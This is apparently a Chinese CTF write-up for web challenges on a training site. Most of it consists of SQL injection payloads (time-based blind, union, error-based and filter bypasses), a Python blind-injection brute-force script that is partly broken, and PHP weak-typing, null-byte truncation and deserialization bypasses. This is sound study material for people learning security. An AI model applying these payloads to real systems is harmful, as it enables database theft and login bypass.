CTF实验吧writeup

实验吧writeup

  • 看起来有点难分值
1
考察点:sleep()时间盲注

selete被过滤了,利用slepp()进行时间盲注.关键payload:

1
http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,1,1)='i') then sleep(18) else sleep(0) end and ''='&pass=9&action=login

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,1,1)='i') then sleep(8) else sleep(0) end and ''='&pass=&action=login
import requests
import time
guess = "1234567890-_=+qwertyuioplkjhgfdsazxcvbnm?!@#$%^&*"

url = "http://ctf5.shiyanbar.com/basic/inject/index.php"

flag1 = ''

for i in range(1,20):
for j in guess:
flag = "admin' and case when(substr(password,%s,1)='%s') then sleep(8) else sleep(0) end and ''='&pass=&action=login"%(i,j)

data = {'admin':"flag"}

timestart = time.time()

r = requests.get(url,params=flag)

if time.time() - timestart > 10:
flag1 = flag1 + j
print(j)
break
  • 猫抓老鼠
1
2
在返回报看到:Content-Row: MTU0NTIyNzcyNg==
直接提交即可,不用解密
  • 头有点大分值
1
考点:HTTP
  • 貌似有点难分值
1
考点:HTTP头,XXF
  • 这个看起来有点简单!
1
考点:SQL注入,
1
利用 union 进行注入,没有过滤任何字符
  • PHP大法分值
1
2
3
考点:php代码审计
试了eregi()弱类型,发现不行
看到$_GET[id] = urldecode($_GET[id]); 尝试二次url编码,成功绕过
  • what a fuck!这是什么鬼东西?
1
2
考点:JSfack
全选复制,在浏览器的运行台运行即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
考点: php审计 + sql注入
在源码中看到index.txt
关键代码:
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
这里取一条结果集进行验证,可使用union select 构造一条结果集来绕过
payload:
1'union select md5(1) #
1
不理解可以自己搭建环境试试
  • NSCTF web200
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
考点:写脚本能力
<?php
$_="";
$str = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws ";

$str = str_rot13($str);
$str = strrev($str);
$str = base64_decode($str);

for ($i = 0; $i < strlen($str); $i++)
{
$_c = substr($str,$i,1);
$__ = ord($_c)-1;
$_c = chr($__);
$_ .=$_c;
}
echo strrev($_);
}

?>
  • 上传绕过
1
考点:文件上传,%00截断
  • FALSE
1
2
考点: hsah1 碰撞
可以直接传数组和md5碰撞一样的解法
  • Guess Next Session

    1
    2
    考点:http cookie
    直接将cookie清除即可
  • Once More

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
1
2
3
4
5
6
考点:考察php及即弱类型
当php遇到数字加e 的时候被认为是科学技术法,
ereg()存在%00截断即遇到%00的时候被认为是匹配结束
payload:
1e8%00*-* //注意在地址栏提交,不然%00会被url编码
http://ctf5.shiyanbar.com/web/more.php?password[]=99999999 //也可以利用数组,ereg()只能处理字符串,数组的话,被认为为NULL
  • 忘记密码了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
考点: 源码泄露

打开网址 查看源码 注意
<meta name="editor" content="Vim" />
VIM编辑器:当进行文件编辑时,如果非正常退出会产生一个 .文件名.swp
upload/.step1.php.swp 发现不行,于是抓包,发现跳转到step2 然后发送给submit.php
访问.submit.php.swp 成功获得源码
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "澶辫触浜嗗憖";
}
}
1.要求token的长度为10且值为0
利用科学技术法0e00000000
2.要求$emailAddress的值为管理员邮箱
step1源码中已给出
payload:
submit.php?emailAddress=admin@simplexue.com&token=0e00000000
  • 天网管理系统

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    考点: php弱类型 php反序列化
    查看源码, 发现<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
    php中的 == 为弱等于号 当比较类型不一样时会进行转换比如 '1' == '1dfsgdfsg' 结果为Ture
    因此只要找到一个字符串加密结果开头为0的即可
    数组也应该拿可以绕过,还没试过
    回显得到/user.php?fame=hjkleffifer
    访问得到:
    $unserialize_str = $_POST['password'];
    $data_unserialize = unserialize($unserialize_str);
    if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
    {
    print_r($flag);
    } 伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年

    看源码应该是php反序列
    对password进行序列化
    a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
  • Forms

1
2
3
查看源码,发现:
<input type="hidden" name="showsource" value=0>
修改value=1
  • Guess Next Session
1
清除cookie就行了
  • 拐弯抹角
1
2
考点: 伪静态
构造index.php/inedx.php
  • 让我进去
1
考点: Hash拓展长度攻击原理
  • 天下武功唯快不破
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 查看源码发现:
<!-- please post what you find with parameter:key -->
在返回报文看到flag,提交发现失败,于是写刷新发现flag在变,利用脚本进行提交:
import requests
import base64
url = 'http://ctf5.shiyanbar.com/web/10/10.php'

s = requests.get(url)

flag = base64.b64decode((s.headers['FLAG']))
f = flag.decode()
# print (f.split(':'))
f1 = f.split(':')[1]
# print(flag)
print(f1)
f1 = {'key':f1}
r = requests.post(url,data=f1)

print(r.text)
  • 简单的sql注入
1
2
3
4
输入1' or '1'='1
爆出全部
1' unionunion selectselect database()'
1' unionunion selectselect flag fromfrom flag wherewhere '1
  • 简单的sql注入之2
1
2
3
4
5
6
7
8
测试select
存在sql注入
sel%0aect绕过成功
id=1'union/**/select/**/1' //成功回显
id=1'union/**/select/**/database()' //database() 被过滤
http://ctf5.shiyanbar.com/web/index_2.php?id=1'union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
id=1'union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag
id=1%27union/**/select/**/flag/**/from/**/flag%23
  • 简单的sql注入之3
1
2
3
4
5
EXP报错
http://ctf5.shiyanbar.com/web/index_3.php?id=1'or exp(~(Select * from (select database())x)) %23
http://ctf5.shiyanbar.com/web/index_3.php?id=1'or exp(~(Select * from (select group_concat(table_name) from information_schema.tables where table_schema=database())x)) %23
http://ctf5.shiyanbar.com/web/index_3.php?id=1'or exp(~(Select * from (select group_concat(column_name) from information_schema.columns where table_name='flag')x)) %23
http://ctf5.shiyanbar.com/web/index_3.php?id=1'or exp(~(Select * from (select group_concat(flag) from flag)x)) %23
  • 因缺思汀的绕过
1
2


-